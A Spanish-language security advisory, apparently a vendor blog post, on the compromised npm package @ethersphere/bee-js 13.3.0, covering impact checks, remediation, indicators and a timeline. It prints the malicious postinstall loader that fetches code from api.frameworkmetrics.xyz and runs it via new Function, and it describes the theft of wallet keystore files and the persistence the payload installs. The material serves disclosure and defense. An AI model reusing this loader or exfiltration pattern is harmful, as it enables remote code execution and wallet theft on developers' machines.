Neutron, nuestro motor de IA, obtuvo un 97.1% en el benchmark CyberGym de UC Berkeley. Más información

Análisis a fondo

Análisis a fondo

La versión maliciosa de @ethersphere/bee-js 13.3.0 ataca carteras de Swarm

@ethersphere/bee-js 13.3.0 ejecuta un script postinstall que ataca carteras de Swarm Desktop e instala acceso remoto; retírela y cambie las claves.

Resumen

  • Una versión maliciosa del cliente JavaScript oficial de Swarm, @ethersphere/bee-js 13.3.0, ejecuta un script postinstall que descarga cargas útiles específicas de cada plataforma. Step Security publicó el análisis.
  • Las cargas útiles leen los archivos de cartera de Swarm Desktop, los envían a un dominio controlado por el atacante e instalan acceso remoto persistente en Linux, macOS y Windows. El informe no establece cuántas instalaciones ejecutaron el script.
  • No hay CVE asignado. La base de avisos de GitHub registra GHSA-hh7j-5m3j-23pf y OSV registra MAL-2026-18773. La versión no está en el catálogo KEV de CISA al 2026-11-09 y no se confirma ningún robo de fondos.
  • Retire la 13.3.0 de todos los archivos de bloqueo y fije la última versión limpia, 13.2.0. Si el paquete se instaló con los scripts de ciclo de vida activados, trate el host como comprometido y siga los pasos de la sección "¿Qué hago si lo instalé?".

¿Estoy afectado?

Todas estas condiciones deben cumplirse:

  • Se instaló la versión 13.3.0 de @ethersphere/bee-js, de forma directa o mediante un rango de dependencias.
  • La instalación ejecutó los scripts de ciclo de vida. npm ejecuta postinstall por defecto; --ignore-scripts bloquea este hook.
  • El usuario o el trabajo de CI que instaló el paquete tenía un directorio de datos de Swarm Desktop, credenciales u otros secretos que el proceso podía leer.

El código malicioso está en el archivo npm y en la etiqueta Git v13.3.0. No afecta a las funciones de ejecución de la biblioteca; el daño ocurre durante la instalación. Por eso un proyecto puede conservar la 13.3.0 en un archivo de bloqueo sin que el hook se haya ejecutado, y un proyecto puede ejecutar el hook sin importar nunca la biblioteca.

Paquete Versión afectada Versión limpia
@ethersphere/bee-js 13.3.0 13.2.0
@ethersphere/bee-js Cualquier versión anterior No afectada por este incidente

Compruebe qué está instalado:

# Direct dependency and lockfile entry
npm ls @ethersphere/bee-js
grep -n '"node_modules/@ethersphere/bee-js"' -A 6 package-lock.json

# pnpm and Yarn lockfiles
grep -n "@ethersphere/bee-js" pnpm-lock.yaml
grep -n "@ethersphere/bee-js" yarn.lock

# The package as installed in the tree
node -p "require('@ethersphere/bee-js/package.json').version" 2>/dev/null || echo "not installed"

Los proyectos dependientes que cita Step Security son @ethersphere/swarm-cli 3.7.0, que declara ^13.2.0; @ethersphere/bee-dashboard 0.37.1, que declara ^13.0.0; y el repositorio swarm-desktop, que declara ^13.0.0. Los tres rangos aceptan la 13.3.0, así que una resolución nueva o una actualización del archivo de bloqueo hecha mientras la versión estaba disponible podía seleccionarla. El informe no muestra que esos proyectos publicaran compilaciones comprometidas.

¿Cómo lo corrijo?

Fije @ethersphere/bee-js en 13.2.0, o en una versión posterior después de revisarla, y regenere cada archivo de bloqueo que resolvió la 13.3.0. npm ya no lista la 13.3.0, así que una instalación nueva ya no la resuelve, pero un archivo de bloqueo y una caché existentes todavía pueden contenerla.

  1. Cambie el rango de dependencia en cada package.json que nombre el paquete:
npm pkg set dependencies.@ethersphere/bee-js=13.2.0
  1. Elimine la entrada del archivo de bloqueo y reinstale desde la versión revisada:
rm -rf node_modules package-lock.json
npm install
npm ls @ethersphere/bee-js
  1. Con pnpm, actualice el archivo de bloqueo y reinstale:
pnpm update @ethersphere/bee-js@13.2.0
pnpm install --frozen-lockfile
  1. En CI, vacíe las cachés ligadas al archivo de bloqueo anterior y reconstruya la imagen del trabajo. Un árbol node_modules en caché conserva el paquete antiguo y no vuelve a ejecutar el hook, así que el árbol debe recrearse.

Si no puede cambiar la versión de inmediato, instale con los scripts de ciclo de vida desactivados y compruebe que ninguna instalación anterior los ejecutó:

npm ci --ignore-scripts

Ese indicador bloquea este hook y todos los demás scripts de instalación. No elimina el código que ya se ejecutó y puede romper paquetes que necesitan scripts de instalación, así que trátelo como una medida provisional.

¿Qué hace el código malicioso?

La versión convierte una utilidad de compilación en un descargador que se ejecuta al instalar, antes de cualquier código de la aplicación, y envía los archivos de cartera de Swarm de la víctima a un host controlado por el atacante. El cambio se ve en el commit de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf, que mueve scripts/generate-version.cjs de prepare a postinstall y añade el directorio scripts a los archivos publicados.

"files": [
  "dist",
  "scripts"
],
"scripts": {
  "prepublishOnly": "NODE_ENV=production npm run build",
  "postinstall": "node scripts/generate-version.cjs",
  "generate:version": "node scripts/generate-version.cjs",
  "..."
}

El hook hace una petición HTTPS a api.frameworkmetrics.xyz y ejecuta el cuerpo de la respuesta con el constructor Function de Node.js. La petición se presenta como una medida de analítica en el comentario del script.

try {
  const req = require('https').get(
    'https://api.frameworkmetrics.xyz/v1/analytics',
    {
      headers: {
        'User-Agent': process.platform,
        'X-Ethersphere': '1',
      },
      timeout: 3000,
    },
    async res => {
      let body = ''
      for await (const chunk of res) body += chunk
      new Function('require', 'console', 'process', body)(require, console, process);
    },
  )
  req.on('error', () => {}).on('timeout', () => req.destroy())
} catch {}

El servidor elige la carga útil según el encabezado User-Agent, que vale linux, darwin o win32. La respuesta se ejecuta con los permisos del usuario que instala, incluido el acceso a archivos, procesos y red. El hook suprime los errores de red, así que una petición fallida deja pocas huellas en el registro de instalación.

En Linux, la carga útil escribe un ejecutable x86-64 o ARM64 en ~/.solidity/. Crea un lanzador de Python llamado .run.py y registra un servicio de usuario llamado solidity-langsupport-runner.service que se reinicia si falla.

En macOS, la carga útil escribe un ejecutable adaptado a la arquitectura en el mismo directorio y crea un lanzador de Node.js o Python. Instala un LaunchAgent en ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist con RunAtLoad activado.

En Windows, la carga útil busca una instalación existente de un agente de soporte remoto, descarga invoke.ps1 y app.msi, y coloca lanzadores de PowerShell y VBScript en %TEMP% con nombres que empiezan por .stuffed-. Crea un directorio oculto bajo %LOCALAPPDATA%, añade una exclusión de Microsoft Defender para él y ejecuta el MSI en silencio.

El código de robo apunta a dos archivos del directorio de datos de Swarm Desktop: config.yaml y data-dir/keys/swarm.key. Envía ambos a /v1/swarm/report en campos JSON llamados configYaml y v3. El archivo swarm.key es un keystore Ethereum V3 cifrado, y config.yaml puede contener la contraseña que lo descifra. Con ambos archivos, un atacante puede controlar la cartera.

¿Cómo se explota?

El atacante no necesitaba que una víctima hiciera clic en un enlace ni que importara un paquete por su nombre. El compromiso siguió el proceso de publicación del proyecto:

  1. El 2026-11-08 a las 23:59:54 UTC apareció un commit sin firmar titulado chore(upcoming): release 13.3.0 en la rama upcoming, bajo la identidad bee-worker.
  2. La solicitud de fusión de release-please para la 13.3.0, PR #1288, seguía abierta y sin fusionar. La versión legítima 13.2.0 había pasado por una solicitud de fusión firmada y fusionada.
  3. GitHub publicó la versión v13.3.0 el 2026-11-09 a las 00:06:01 UTC, también bajo bee-worker. Eso activó el flujo de publicación npm existente del repositorio.
  4. El flujo usó la publicación de confianza de GitHub Actions. El paquete npm lleva por tanto una procedencia SLSA válida que apunta al repositorio y al flujo legítimos, porque el código malicioso ya estaba en el código fuente que el flujo compiló.
  5. npm recibió @ethersphere/bee-js@13.3.0 a las 00:09:50 UTC. Cualquier instalación de esa versión con los scripts de ciclo de vida activados ejecutó el hook.
  6. El hook descargó y ejecutó la carga útil de la plataforma. El informe indica que las peticiones a la infraestructura de carga útil devolvían contenido señuelo o un error HTTP 404 hacia las 00:31 UTC.

Step Security afirma que las pruebas apuntan al uso indebido de la identidad de publicación bee-worker. Una credencial o un token de cuenta robados son una explicación probable, pero el informe no establece qué credencial se usó ni cómo se obtuvo. El historial revisado de GitHub Actions no contenía ninguna ejecución que creara el commit malicioso.

¿Cómo se desarrolla el ataque?

Un atacante que controlaba la identidad de publicación colocó el hook en el código fuente. El propio flujo de publicación de confianza del proyecto lo publicó después, lo que alcanzó los archivos de cartera y la persistencia en cada host que instaló la versión con los scripts activados.

flowchart LR
    A["Commit sin firmar en la rama upcoming"] --> B["Versión de GitHub v13.3.0"]
    B --> C["Flujo npm de publicación de confianza"]
    C --> D["Hook postinstall ejecutado al instalar"]
    D --> E["api.frameworkmetrics.xyz"]
    E --> F["Carga útil de plataforma mediante Function()"]
    F --> G["Archivos de cartera copiados y persistencia instalada"]

Cronología del compromiso de bee-js 13.3.0: el dominio de carga útil se registró el 6 de noviembre, el commit malicioso y la versión llegaron el 8 de noviembre, y npm publicó el paquete el 9 de noviembre
Figura 1: El atacante registró el dominio de carga útil dos días antes de la publicación y npm publicó el paquete menos de cuatro minutos después de la versión de GitHub. Fuente: Step Security, comprobado el 9 de noviembre de 2026.

¿Qué puede hacer un atacante?

El alcance del atacante depende de lo que pudiera leer el usuario que instaló, y el paso de la cartera exige que existan los archivos de Swarm Desktop. Con esas condiciones, la carga útil le da al atacante:

  • El keystore cifrado de la cartera Swarm y, cuando está presente en config.yaml, la contraseña que lo descifra.
  • Un ejecutable de acceso remoto y un servicio que se reinicia si falla en Linux, un LaunchAgent RunAtLoad en macOS, o una instalación MSI silenciosa con una exclusión de Defender en Windows.
  • Acceso a cada archivo, proceso y ruta de red que el usuario o el trabajo de CI pudiera alcanzar.
  • La capacidad de persistir después de eliminar el paquete, porque el servicio, el LaunchAgent y el binario instalado viven fuera de node_modules.

El informe no establece cuántas instalaciones ejecutaron el hook, si se vació alguna cartera ni el conjunto completo de comandos de las cargas útiles de macOS y Windows. Los ejecutables de Linux se descargaron y se inspeccionaron; contienen nombres de paquetes y funciones de Go asociados a la ejecución de comandos y a shells interactivos, incluidos hubclient.runCommand, hubclient.startShellLocked y github.com/creack/pty. Step Security no los ejecutó, así que su comportamiento se evalúa y no se observa.

¿Qué hago si lo instalé?

Trate como comprometido cualquier host que instalara la 13.3.0 con los scripts de ciclo de vida activados, porque el hook se ejecutó con los permisos del usuario antes de cualquier revisión. Eliminar la dependencia no elimina el servicio, el LaunchAgent ni el instalador colocado.

  1. Aísle el host de la red y detenga la persistencia antes de cambiar los secretos:
  2. Linux: systemctl --user disable --now solidity-langsupport-runner.service, y después elimine ~/.config/systemd/user/solidity-langsupport-runner.service y ~/.solidity/.
  3. macOS: launchctl unload ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist, y después elimine el plist y ~/.solidity/.
  4. Windows: elimine el directorio oculto bajo %LOCALAPPDATA%, los archivos .stuffed-* bajo %TEMP% y la exclusión de Defender que añadió la carga útil.
  5. Reconstruya el host desde una imagen de confianza en lugar de limpiarlo en el sitio. El informe recomienda reconstruirlo porque las cargas útiles no recuperadas pueden haber instalado más que los archivos observados.
  6. Cambie todas las credenciales que el usuario o el trabajo de CI pudiera leer, desde un sistema limpio. Para CI, cambie los tokens del trabajo y revise sus registros en busca de llamadas a api.frameworkmetrics.xyz.
  7. Si los archivos de Swarm Desktop estaban presentes, sustituya la cartera desde un sistema limpio. Trate el keystore y cualquier contraseña guardada en config.yaml como expuestos.
  8. Fije @ethersphere/bee-js en 13.2.0 o en una versión posterior revisada, y regenere los archivos de bloqueo y las cachés.

¿Cómo compruebo si estuve comprometido?

Empiece por la versión del paquete y los archivos que escribe la carga útil. Una coincidencia de versión sin los archivos sigue necesitando la revisión del registro de instalación, porque una ejecución fallida no deja carga útil.

# 1. The malicious version in any project tree
grep -rn "@ethersphere/bee-js" --include=package-lock.json --include=pnpm-lock.yaml --include=yarn.lock .
node -p "require('@ethersphere/bee-js/package.json').version" 2>/dev/null

# 2. Linux persistence and payload directory
ls -la ~/.solidity/ 2>/dev/null
systemctl --user status solidity-langsupport-runner.service 2>/dev/null

# 3. macOS persistence
ls -la ~/.solidity/ 2>/dev/null
ls -la ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist 2>/dev/null

# 4. DNS, proxy and egress logs
grep -i "frameworkmetrics" /var/log/* 2>/dev/null

En Windows, busque archivos .stuffed-* en %TEMP% y un directorio oculto que contenga app.msi en %LOCALAPPDATA%. Después lea la lista de exclusiones de Defender:

Get-ChildItem $env:TEMP -Force -Filter ".stuffed-*"
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath

Los indicadores publicados son:

  • Red: api.frameworkmetrics.xyz, con las rutas /v1/analytics, /v1/assets/ y /v1/swarm/report, y el encabezado X-Ethersphere: 1.
  • Archivos: ~/.solidity/linux_amd64, ~/.solidity/linux_arm64, ~/.solidity/.run.py, ~/.config/systemd/user/solidity-langsupport-runner.service, ~/.solidity/darwin_arm64, ~/.solidity/darwin_amd64, ~/Library/LaunchAgents/com.solidity.langsupport.runner.plist, %TEMP%\.stuffed-* y el directorio de preparación oculto bajo %LOCALAPPDATA%.
  • Hashes: linux_amd64 SHA-256 9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696; linux_arm64 SHA-256 b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565; archivo npm malicioso SHA-1 a205c8a5fed81e9a787645b2801f00be3db3348d.
  • El dominio se registró el 2026-11-06 a las 15:08 UTC. Las peticiones al host de carga útil devolvían contenido señuelo o un error HTTP 404 hacia las 00:31 UTC del 2026-11-09, así que una respuesta ausente no exonera a un host que ejecutó el hook.

Una coincidencia en una ruta que también crea la herramienta legítima es una pista que verificar, no una prueba. Lo contrario también es cierto: una ejecución fallida puede no dejar rastro más allá de la versión del paquete y el registro de instalación.

Cronología

  • 2026-11-06 15:08 UTC: se registra frameworkmetrics.xyz.
  • 2026-11-08 23:59:54 UTC: el commit sin firmar chore(upcoming): release 13.3.0 llega bajo la identidad bee-worker, y se crea el registro de la versión de GitHub.
  • 2026-11-09 00:06:01 UTC: GitHub publica la versión v13.3.0.
  • 2026-11-09 00:06:03 UTC: empieza el flujo de publicación npm.
  • 2026-11-09 00:09:50 UTC: se publica @ethersphere/bee-js@13.3.0 en npm.
  • 2026-11-09 00:53:54 UTC: Step Security abre el ticket #1294 en el repositorio.
  • 2026-11-09 01:25:27 UTC: la base de avisos de GitHub publica GHSA-hh7j-5m3j-23pf.
  • 2026-11-09: npm ya no lista la 13.3.0; el registro indica la 13.2.0 como última versión.

Preguntas frecuentes

¿La instalación del paquete ejecuta la carga útil aunque mi aplicación nunca lo importe?

Sí, si los scripts de ciclo de vida están activados. La carga útil es un hook postinstall, así que se ejecuta durante npm install, antes de cualquier código de la aplicación. Un despliegue que instala con --ignore-scripts no ejecuta este hook.

¿Es segura la 13.2.0?

Sí, para este incidente. Step Security examinó la 13.2.0 y no encontró ningún camino de instalación malicioso, y npm la lista como última versión tras dejar de listar la 13.3.0. Eso responde a la pregunta solo para este compromiso; no garantiza nada sobre versiones futuras.

¿Una procedencia SLSA válida significa que el paquete es seguro?

No. La procedencia es válida porque el flujo de publicación de confianza del propio proyecto compiló el paquete desde el código fuente malicioso. La procedencia registra qué repositorio y qué flujo produjeron un artefacto; no demuestra que el código fuente se haya revisado.

¿Debo bloquear los scripts de ciclo de vida en todos mis proyectos?

Bloquea este hook y reduce la superficie de ataque en la instalación, pero rompe paquetes que compilan módulos nativos durante la instalación y no deshace un hook que ya se ejecutó. Úselo como un control más, junto con la revisión de archivos de bloqueo y un cortafuegos de dependencias.

¿Hay un CVE que pueda seguir?

No hay CVE asignado. Siga GHSA-hh7j-5m3j-23pf en la base de avisos de GitHub o MAL-2026-18773 en OSV, y vigile el repositorio bee-js para el informe de incidente de los mantenedores.

Encuentre las instalaciones de bee-js afectadas con Ostorlab

El análisis de composición de software y el inventario SBOM de Ostorlab listan los paquetes de código abierto y las versiones que resuelven sus repositorios. Una búsqueda de @ethersphere/bee-js muestra entonces qué proyectos incluyeron la 13.3.0 y qué archivos de bloqueo deben regenerarse.

Referencias

  • Step Security, "@ethersphere/bee-js 13.3.0 Compromised": https://www.stepsecurity.io/blog/ethersphere-bee-js-13-3-0-compromise (comprobado el 9 de noviembre de 2026)
  • Base de avisos de GitHub, GHSA-hh7j-5m3j-23pf (2026-11-09): https://github.com/advisories/GHSA-hh7j-5m3j-23pf (comprobado el 9 de noviembre de 2026)
  • OSV, MAL-2026-18773 (2026-11-09): https://osv.dev/vulnerability/MAL-2026-18773 (comprobado el 9 de noviembre de 2026)
  • Commit de bee-js de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf (2026-11-08): https://github.com/ethersphere/bee-js/commit/de2f74e784b2eafa0d66fbb6d88b42ea11ee34cf (comprobado el 9 de noviembre de 2026)
  • Versión de bee-js v13.3.0 (2026-11-09): https://github.com/ethersphere/bee-js/releases/tag/v13.3.0 (comprobado el 9 de noviembre de 2026)
  • Solicitud de fusión de bee-js #1288, "chore(upcoming): release 13.3.0" (abierta el 2026-10-27): https://github.com/ethersphere/bee-js/pull/1288 (comprobado el 9 de noviembre de 2026)
  • Ticket de bee-js #1294, "ethersphere/bee-js npm package version 13.3.0 is compromised" (2026-11-09): https://github.com/ethersphere/bee-js/issues/1294 (comprobado el 9 de noviembre de 2026)
  • Metadatos del registro npm para @ethersphere/bee-js (comprobado el 9 de noviembre de 2026): https://registry.npmjs.org/@ethersphere%2Fbee-js